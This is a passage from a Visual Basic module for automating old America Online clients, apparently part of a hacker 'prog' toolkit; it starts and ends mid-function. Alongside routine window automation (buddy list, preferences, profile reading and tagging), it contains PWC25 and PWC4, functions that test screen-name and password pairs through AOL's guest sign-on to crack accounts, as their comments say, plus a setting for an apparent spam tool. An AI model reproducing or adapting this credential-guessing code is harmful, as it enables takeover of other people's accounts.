mBut2& = FindWindowEx(mWin&, 0&, "Button", "&No") 'for the msgboxes w/ 'no' buttons
If mWin& <> 0& Then
If mBut& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
mCount& = mCount& + 1
ElseIf mBut2& <> 0& Then
Call PostMessage(mBut2&, WM_KEYDOWN, VK_SPACE, 0&)
mCount& = mCount& + 1
End If
End If
Loop Until mWin& = 0&
MsgKill& = mCount&
End Function
Public Sub OpenAddBuddy()
'opens the addbuddy window on the buddylist
Dim aol As Long, mdi As Long, blwin As Long, BLIcon As Long
Dim SetupWin As Long, SetupList As Long, eblWin As Long, eblList As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
blwin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If aol& = 0 Then Exit Sub
If blwin& = 0 Then
Call Keyword("bv")
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
blwin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
BLIcon& = FindWindowEx(blwin&, 0&, "_AOL_Icon", vbNullString)
BLIcon& = FindWindowEx(blwin&, BLIcon&, "_AOL_Icon", vbNullString)
BLIcon& = FindWindowEx(blwin&, BLIcon&, "_AOL_Icon", vbNullString)
Loop Until blwin& <> 0& And BLIcon& <> 0&
Call SendMessage(BLIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(BLIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
SetupWin& = FindBuddyLists
SetupList& = FindWindowEx(SetupWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until SetupWin& <> 0& And SetupList& <> 0&
pause (0.3)
If SendMessage(SetupList&, LB_GETCOUNT, 0&, 0&) <> 0& Then
Call SendMessage(SetupList&, LB_SETCURSEL, 0&, 0&)
Call PostMessage(SetupList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
eblWin& = FindEditBuddyList
eblList& = FindWindowEx(eblWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until eblWin& <> 0& And eblList& <> 0&
pause (0.4)
End If
End Sub
Public Sub OpenPrefs()
'opens aol's preferences
Dim aol As Long, mdi As Long, pWin As Long, pButton As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
If AOLVersion = "4" Then
Call RunTBMenu(6&, 3&)
ElseIf AOLVersion = "5" Then
Call RunTBMenu(6&, 2&)
ElseIf AOLVersion = "2.5" Or AOLVersion = "3" Then
Call RunMenuByString("Preferences")
End If
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pButton& <> 0&
End Sub
Public Sub SetMailPrefs()
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call SetMailPrefs25
Exit Sub
End If
End Sub
Public Sub SetMailPrefs25()
Dim aol As Long, mdi As Long, pWin As Long, pButton As Long
Dim mWin As Long, mCheck1 As Long, mCheck2 As Long, mBut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Call SendMessage(pButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindow("_AOL_Modal", "Mail Preferences")
mCheck1& = FindWindowEx(mWin&, 0&, "_AOL_Button", "Confirm mail after it has been sent")
mCheck2& = FindWindowEx(mWin&, mCheck2&, "_AOL_Button", "Close mail after it has been sent")
mBut& = FindWindowEx(mWin&, 0&, "_AOL_Button", "OK")
Loop Until mWin& <> 0& And mCheck1& <> 0& And mCheck2& <> 0& And mBut& <> 0&
Do
DoEvents
Call PostMessage(mCheck1&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mCheck1&, WM_KEYUP, VK_SPACE, 0&)
Loop Until SendMessage(mCheck1&, BM_GETCHECK, 0&, 0&) = 1
Do
DoEvents
Call PostMessage(mCheck2&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mCheck2&, WM_KEYUP, VK_SPACE, 0&)
Loop Until SendMessage(mCheck2&, BM_GETCHECK, 0&, 0&) = 0
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub pause(length As Double)
'that's right, this is the real pause.
'almost every other .bas has "Length as LONG"
'which means that all those times you put:
'"Pause (0.6)" or "Pause(1.5)" it wasn't pausing for
'that amount of time..
'Long does not allow decimals, so:
' .5 would = 0
' .6 would = 1
'and so on..
'but the variable type "Double" allows decimals..
'so feel confident now that you're using pause (0.6)
Dim StartTime
StartTime = Timer
Do While Timer - StartTime < length 'and (Timer - StartTime) > 0
DoEvents
Loop
End Sub
Public Sub Pause2(length As Double)
'sub made for 'overhead' mode
Dim StartTime, mode As String
mode$ = GetFromINI("ph2", "mode", App.Path + "\ph2.ini")
If mode$ = "overhead" Then Exit Sub
StartTime = Timer
Do While Timer - StartTime < length
DoEvents
Loop
End Sub
Public Sub Playwav(wav As String)
'self explanatory
If FileExists(wav$) = True Then
Call sndPlaySound(wav$, 0&, SND_FLAG)
End If
End Sub
Public Sub FormExitLeft(TheForm As Form)
Do
DoEvents
TheForm.Left = Trim(Str(Int(TheForm.Left) - 300))
Loop Until TheForm.Left < -TheForm.Width
End Sub
Public Function profile(screenname As String) As String
'function that returns a screen name's profile.
Dim aol As Long, mdi As Long
Dim gWin As Long, gEdit As Long, gIcon As Long
Dim pWin As Long, pCNTL As Long, pString As String
Dim mWin As Long, mBut As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
profile$ = Profile25(screenname$)
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunTBMenu(10&, 11&)
Do
DoEvents
gWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Get a Member's Profile")
gEdit& = FindWindowEx(gWin&, 0&, "_AOL_Edit", vbNullString)
gIcon& = FindWindowEx(gWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until gWin& <> 0& And gEdit& <> 0& And gIcon& <> 0&
Call SendMessageByString(gEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessage(gIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(gIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Profile")
pCNTL& = FindWindowEx(pWin&, 0&, "RICHCNTL", vbNullString)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until pWin& <> 0& And pCNTL& <> 0& Or mWin& <> 0& And mBut& <> 0&
If pWin& <> 0& Then
pause (0.5)
pString$ = GetText(pCNTL&)
profile = pString$
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
ElseIf mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
profile$ = ""
End If
Call PostMessage(gWin&, WM_CLOSE, 0&, 0&)
End Function
Public Function Profile25(screenname As String) As String
'function that returns the screen name's profile.
Dim aol As Long, mdi As Long
Dim gWin As Long, gEdit As Long, gButton As Long
Dim pWin As Long, pView As Long, pString As String
Dim mWin As Long, mBut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("get a member's profile")
Do
DoEvents
gWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Get a Member's Profile")
gEdit& = FindWindowEx(gWin&, 0&, "_AOL_Edit", vbNullString)
gButton& = FindWindowEx(gWin&, 0&, "_AOL_Button", "OK")
Loop Until gWin& <> 0& And gEdit& <> 0& And gButton& <> 0&
Call SendMessageByString(gEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessage(gButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gButton&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Profile")
If AOLVersion = "2.5" Then
pView& = FindWindowEx(pWin&, 0&, "_AOL_View", vbNullString)
Else
pView& = FindWindowEx(pWin&, 0&, "RICHCNTL", vbNullString)
End If
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until pWin& <> 0& And pView& <> 0& Or mWin& <> 0& And mBut& <> 0&
If pWin& <> 0& Then
pause (0.5)
pString$ = GetText(pView&)
Profile25$ = pString$
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
ElseIf mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Profile25$ = ""
End If
End Function
Public Sub ProfileTagger(Line1 As String, Line2 As String, Line3 As String, line4 As String, line5 As String, Line6 As String, Line7 As String, Line8 As String)
'tags user's profile
Dim aol As Long, mdi As Long, mNum As Long
Dim tagWindow As Long, tagEdit1 As Long, tagEdit2 As Long, tagEdit3 As Long, tagEdit4 As Long, tagEdit5 As Long, tagEdit6 As Long, tagEdit7 As Long, tagEdit8 As Long, tagButton As Long, tagCheck As Long
Dim tagMWin As Long, tagMCheck As Long, tagMBut As Long
Dim tagMsg As Long, tagMsgBut As Long
mNum& = ModalKill
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call ProfileTagger25(Line1$, Line2$, Line3$, line4$, line5$, Line6$, Line7$, Line8$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunTBMenu(6&, 4&)
Do
DoEvents
tagWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Edit Your Online Profile")
tagEdit1& = FindWindowEx(tagWindow&, 0&, "_AOL_Edit", vbNullString)
tagEdit2& = FindWindowEx(tagWindow&, tagEdit1, "_AOL_Edit", vbNullString)
tagEdit3& = FindWindowEx(tagWindow&, tagEdit2, "_AOL_Edit", vbNullString)
tagEdit4& = FindWindowEx(tagWindow&, tagEdit3, "_AOL_Edit", vbNullString)
tagEdit5& = FindWindowEx(tagWindow&, tagEdit4, "_AOL_Edit", vbNullString)
tagEdit6& = FindWindowEx(tagWindow&, tagEdit5, "_AOL_Edit", vbNullString)
tagEdit7& = FindWindowEx(tagWindow&, tagEdit6, "_AOL_Edit", vbNullString)
tagEdit8& = FindWindowEx(tagWindow&, tagEdit7, "_AOL_Edit", vbNullString)
tagButton& = FindWindowEx(tagWindow&, 0&, "_AOL_Icon", vbNullString)
tagButton& = FindWindowEx(tagWindow&, tagButton&, "_AOL_Icon", vbNullString)
tagCheck& = FindWindowEx(tagWindow&, 0&, "_AOL_Checkbox", vbNullString)
tagCheck& = FindWindowEx(tagWindow&, tagCheck&, "_AOL_Checkbox", vbNullString)
tagCheck& = FindWindowEx(tagWindow&, tagCheck&, "_AOL_Checkbox", vbNullString)
Loop Until tagWindow& <> 0& And tagEdit1& <> 0& And tagEdit2& <> 0& And tagEdit3& <> 0& And tagEdit4& <> 0& And tagEdit5& <> 0& And tagEdit6& <> 0& And tagEdit7& <> 0& And tagEdit8& <> 0& And tagButton& <> 0&
'Pause (1)
'
'tagMWin& = FindWindow("_AOL_Modal", vbNullString)
'tagMCheck& = FindWindowEx(tagMWin&, 0&, "_AOL_Checkbox", vbNullString)
'tagMBut& = FindWindowEx(tagMWin&, 0&, "_AOL_Icon", vbNullString)
'
'If tagMWin& <> 0& Then
' Call SendMessage(tagMCheck&, WM_LBUTTONDOWN, 0&, 0&)
' Call SendMessage(tagMCheck&, WM_LBUTTONUP, 0&, 0&)
'
' Call SendMessage(tagMBut&, WM_LBUTTONDOWN, 0&, 0&)
' Call SendMessage(tagMBut&, WM_LBUTTONUP, 0&, 0&)
' Pause (0.6)
'End If
Call SendMessageByString(tagEdit1&, WM_SETTEXT, 0&, Line1)
Call SendMessageByString(tagEdit2&, WM_SETTEXT, 0&, Line2)
Call SendMessageByString(tagEdit3&, WM_SETTEXT, 0&, Line3)
Call SendMessageByString(tagEdit4&, WM_SETTEXT, 0&, line4)
Call SendMessageByString(tagEdit5&, WM_SETTEXT, 0&, line5)
Call SendMessageByString(tagEdit6&, WM_SETTEXT, 0&, Line6)
Call SendMessageByString(tagEdit7&, WM_SETTEXT, 0&, Line7)
Call SendMessageByString(tagEdit8&, WM_SETTEXT, 0&, Line8)
pause (0.5)
Call SendMessage(tagCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tagCheck&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(tagButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tagButton&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(tagButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(tagButton&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
tagMsg& = FindWindow("#32770", "America Online")
tagMsgBut& = FindWindowEx(tagMsg&, 0&, "Button", "OK")
Loop Until tagMsg& <> 0& And tagMsgBut& <> 0&
Call SendMessage(tagMsgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(tagMsgBut&, WM_KEYUP, VK_SPACE, 0&)
Call ModalKill
End Sub
Public Sub ProfileTagger25(Line1 As String, Line2 As String, Line3 As String, line4 As String, line5 As String, Line6 As String, Line7 As String, Line8 As String)
'tags user's profile
Dim aol As Long, mdi As Long, mdWin As Long, mdIcon As Long
Dim pWin As Long, pEdit1 As Long, pEdit2 As Long, pEdit3 As Long
Dim pEdit4 As Long, pEdit5 As Long, pEdit6 As Long, pEdit7 As Long
Dim pEdit8 As Long, pIcon As Long, msgWin As Long, msgBut As Long
Dim mdList As Long, StartTime As Double
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mdWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
If mdWin& = 0& Then
Call Keyword("member directory")
End If
If AOLVersion = "2.5" Then
Do
DoEvents
mdWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
mdList& = FindWindowEx(mdWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until mdWin& <> 0& And mdList& <> 0&
pause (0.1)
Call SendMessage(mdList&, LB_SETCURSEL, 3&, 0&)
Call SendMessageLong(mdList&, WM_CHAR, ENTER_KEY, 0&)
Else
Do
DoEvents
mdWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
mdIcon& = FindWindowEx(mdWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until mdWin& <> 0& And mdIcon& <> 0&
Do
DoEvents
Call SendMessage(mdIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mdIcon&, WM_LBUTTONUP, 0&, 0&)
StartTime = Timer
Do While Timer - StartTime < 1 And pWin& = 0&
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Edit Your Online Profile")
Loop
Loop Until pWin& <> 0&
End If
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Edit Your Online Profile")
pEdit1& = FindWindowEx(pWin&, 0&, "_AOL_Edit", vbNullString)
pEdit2& = FindWindowEx(pWin&, pEdit1&, "_AOL_Edit", vbNullString)
pEdit3& = FindWindowEx(pWin&, pEdit2&, "_AOL_Edit", vbNullString)
pEdit4& = FindWindowEx(pWin&, pEdit3&, "_AOL_Edit", vbNullString)
pEdit5& = FindWindowEx(pWin&, pEdit4&, "_AOL_Edit", vbNullString)
pEdit6& = FindWindowEx(pWin&, pEdit5&, "_AOL_Edit", vbNullString)
pEdit7& = FindWindowEx(pWin&, pEdit6&, "_AOL_Edit", vbNullString)
pEdit8& = FindWindowEx(pWin&, pEdit7&, "_AOL_Edit", vbNullString)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
End If
Loop Until pWin& <> 0& And pEdit8& <> 0& And pIcon& <> 0&
Call SendMessageByString(pEdit1&, WM_SETTEXT, 0&, Line1$)
Call SendMessageByString(pEdit2&, WM_SETTEXT, 0&, Line2$)
Call SendMessageByString(pEdit3&, WM_SETTEXT, 0&, Line3$)
Call SendMessageByString(pEdit4&, WM_SETTEXT, 0&, line4$)
Call SendMessageByString(pEdit5&, WM_SETTEXT, 0&, line5$)
Call SendMessageByString(pEdit6&, WM_SETTEXT, 0&, Line6$)
Call SendMessageByString(pEdit7&, WM_SETTEXT, 0&, Line7$)
Call SendMessageByString(pEdit8&, WM_SETTEXT, 0&, Line8$)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
Loop Until msgWin& <> 0& And msgBut& <> 0&
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(mdWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Function PWC25(screenname As String, Password As String) As Boolean
'elite / fast guest signon code for 2.5
'it's made to be used back to back..
'to use it:
'if pwc25("kai", "iscool") = true then
' msgbox "kai has been cracked!"
'else
' msgbox "wrong pw for kai"
'end if
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long, soIcon As Long
Dim lngClick As Long, gWin As Long, gEditSN As Long, gEditPW As Long, gButton As Long
Dim soStatic As Long, soString As String, welWin As Long
Dim msgWin As Long, msgBut As Long, csWin As Long, csBut As Long, csStatic As Long, csString As String
Dim msgStatic As Long, MsgString As String, CheckForGB As Boolean
If FindGuestSignOn& <> 0& Then CheckForGB = True: GoTo EnterSNandPW
CheckForGB = False
If GetUser <> "" Then
Call SignOff25
End If
Do
DoEvents
soWin& = FindSignOnWindow
If AOLVersion = "2.5" Then
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Else
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
End If
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soIcon& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
soIcon& = FindWindowEx(soWin&, soIcon&, "_AOL_Icon", vbNullString)
soIcon& = FindWindowEx(soWin&, soIcon&, "_AOL_Icon", vbNullString)
End If
Loop Until soWin& <> 0& And soCombo& <> 0& And soIcon& <> 0&
pause (0.5)
Call SendMessage(soCombo&, CB_SETCURSEL, SendMessage(soCombo&, CB_GETCOUNT, 0&, 0&) - 2, 0&)
Call SendMessageByString(soStatic&, WM_SETTEXT, 0&, "")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessage(soIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(soIcon&, WM_LBUTTONUP, 0&, 0&)
EnterSNandPW:
Do
DoEvents
gWin& = FindGuestSignOn
gEditSN& = FindWindowEx(gWin&, 0&, "_AOL_Edit", vbNullString)
gEditPW& = FindWindowEx(gWin&, gEditSN&, "_AOL_Edit", vbNullString)
gButton& = FindWindowEx(gWin&, 0&, "_AOL_Button", "OK")
Loop Until gWin& <> 0& And gEditPW& <> 0& And gButton& <> 0&
Call SendMessageByString(gEditSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(gEditPW&, WM_SETTEXT, 0&, Password$)
Call PostMessage(gButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(gButton&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
welWin& = FindWelcome&
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
soWin& = FindSignOnWindow
If AOLVersion = "2.5" Then
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Else
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
End If
soString$ = GetText(soStatic&)
Loop Until welWin& <> 0& Or msgWin& <> 0& And msgBut& <> 0& Or soWin& <> 0& And soStatic& <> 0& And soString$ <> ""
If welWin& <> 0& Then
PWC25 = True
Exit Function
End If
If msgWin& <> 0& And FindGuestSignOn <> 0& Then
Do
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
msgStatic& = FindWindowEx(msgWin&, 0&, "Static", vbNullString)
msgStatic& = FindWindowEx(msgWin&, msgStatic&, "Static", vbNullString)
MsgString$ = GetText(msgStatic&)
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
Loop Until msgWin& <> 0&
pause (0.4)
PWC25 = False
Exit Function
End If
If soStatic& <> 0& Then
If InStr(1, soString$, "This account is not currently active") <> 0& Then
PWC25 = False
ElseIf InStr(1, soString$, "Invalid account") <> 0& Then
PWC25 = False
ElseIf InStr(1, soString$, "You have been disconnected from America Online") <> 0& Then
Do
DoEvents
csWin& = FindWindow("#32770", "America Online")
csBut& = FindWindowEx(csWin&, 0&, "Button", "OK")
csStatic& = FindWindowEx(csWin&, 0&, "Static", vbNullString)
csStatic& = FindWindowEx(csWin&, csStatic&, "Static", vbNullString)
csString$ = GetText(csStatic&)
Loop Until csWin& <> 0& And csBut& <> 0& And csStatic& <> 0& And csString$ <> ""
Call PostMessage(csBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(csBut&, WM_KEYUP, VK_SPACE, 0&)
If InStr(1, csString$, "Your account is signed on using") <> 0& Then
PWC25 = True
ElseIf InStr(1, csString$, "This account has been suspended") <> 0& Then
PWC25 = False
End If
End If
End If
End Function
Public Function PWC4(screenname As String, Password As String) As Boolean
'same as pwc25
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long, soIcon As Long
Dim lngClick As Long, gWin As Long, gEditSN As Long, gEditPW As Long, gButton As Long
Dim soStatic As Long, soString As String, welWin As Long, soEdit As Long
Dim msgWin As Long, msgBut As Long, csWin As Long, csBut As Long, csStatic As Long, csString As String
Dim msgStatic As Long, MsgString As String, soIconx As Long, gIcon As Long, soSignOn As Long
Dim conModal As Long, conIcon As Long
Dim StartTime
If AOLVersion = "3" Or AOLVersion = "2.5" Then
PWC4 = PWC25(screenname$, Password$)
Exit Function
End If
If FindGuestSignOn& <> 0& Then GoTo EnterSNandPW
If GetUser <> "" Then
Call SignOff
End If
SignOnAgain:
Do
DoEvents
soWin& = FindSignOnWindow
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
soIcon& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
soIcon& = FindWindowEx(soWin&, soIcon&, "_AOL_Icon", vbNullString)
soIcon& = FindWindowEx(soWin&, soIcon&, "_AOL_Icon", vbNullString)
soIconx& = FindWindowEx(soWin&, soIcon&, "_AOL_Icon", vbNullString)
If soIconx& <> 0& Then soIcon& = soIconx&
Loop Until soWin& <> 0& And soCombo& <> 0& And soIcon& <> 0&
pause (GetFromINI("spamage", "signoff pause", App.Path + "\spamage.ini"))
Call SendMessage(soCombo&, CB_SETCURSEL, SendMessage(soCombo&, CB_GETCOUNT, 0&, 0&) - 1, 0&)
Call SendMessageByString(soStatic&, WM_SETTEXT, 0&, "")
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, "password")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
EnterSNandPW:
Do
DoEvents
StartTime = Timer
Do While Timer - StartTime < 30
DoEvents
gWin& = FindGuestSignOn
gEditSN& = FindWindowEx(gWin&, 0&, "_AOL_Edit", vbNullString)
gEditPW& = FindWindowEx(gWin&, gEditSN&, "_AOL_Edit", vbNullString)
gIcon& = FindWindowEx(gWin&, 0&, "_AOL_Icon", vbNullString)
If gWin& <> 0& And gEditSN& <> 0& And gEditPW& <> 0& And gIcon& <> 0& Then GoTo FoundWindow
Loop
conModal& = FindWindow("_AOL_Modal", "")
conIcon& = FindWindowEx(conModal&, 0&, "_AOL_Icon", vbNullString)
Call SendMessage(conIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(conIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
Loop Until FindSignOnWindow <> 0&
Call ModalKill
GoTo SignOnAgain
Loop Until gWin& <> 0& And gEditPW& <> 0& And gIcon& <> 0&
FoundWindow:
Call SendMessageByString(gEditSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(gEditPW&, WM_SETTEXT, 0&, Password$)
Call SendMessageLong(gEditPW&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
welWin& = FindWelcome&
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
soWin& = FindSignOnWindow
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
soString$ = GetText(soStatic&)
Loop Until welWin& <> 0& Or msgWin& <> 0& And msgBut& <> 0& Or soWin& <> 0& And soStatic& <> 0& And soString$ <> "" Or soSignOn& <> 0&
If welWin& <> 0& Then
PWC4 = True
Exit Function
End If
If msgWin& <> 0& And FindGuestSignOn <> 0& Then
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
If msgBut& <> 0& Then
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
End If
Loop Until msgWin& = 0&
pause (0.4)
PWC4 = False
Exit Function
End If
If soStatic& <> 0& Then
If InStr(1, soString$, "This account is not currently active") <> 0& Then
PWC4 = False
ElseIf InStr(1, soString$, "Invalid account") <> 0& Then
PWC4 = False
ElseIf InStr(1, soString$, "You have been disconnected from America Online") <> 0& Then
Do
DoEvents
csWin& = FindWindow("#32770", "America Online")
csBut& = FindWindowEx(csWin&, 0&, "Button", "OK")
csStatic& = FindWindowEx(csWin&, 0&, "Static", vbNullString)
csStatic& = FindWindowEx(csWin&, csStatic&, "Static", vbNullString)
csString$ = GetText(csStatic&)
Loop Until csWin& <> 0& And csBut& <> 0& And csStatic& <> 0& And csString$ <> ""
If InStr(1, csString$, "Your account is signed on using") <> 0& Then
PWC4 = True
ElseIf InStr(1, csString$, "This account has been suspended") <> 0& Then
PWC4 = False
End If
Do
DoEvents
Call PostMessage(csBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(csBut&, WM_KEYUP, VK_SPACE, 0&)
csWin& = FindWindow("#32770", "America Online")
Loop Until csWin& <> 0&
End If
End If
If soSignOn& <> 0& Then
PWC4 = False
End If
End Function
Public Function RandomX(length As Long) As String
'randomly makes exclamation points
Dim strX As String, lngRandom As Long, i As Long, strFull As String
strX$ = "~#@$!@~!@!~!~#$~$!#!~!#@$~!@~!@~!~"
For i = 1 To length&
Randomize
Do
DoEvents
lngRandom& = Int(Rnd * 33)
Loop Until lngRandom& > 0
strFull$ = strFull$ + Mid(strX$, i, 1)
Next i
RandomX = strFull$
End Function
Public Sub ReEnterScroll25(times As Long)
'simple re-enter scroller
'made for aol 2.5 and 3.0
Dim kai As Long
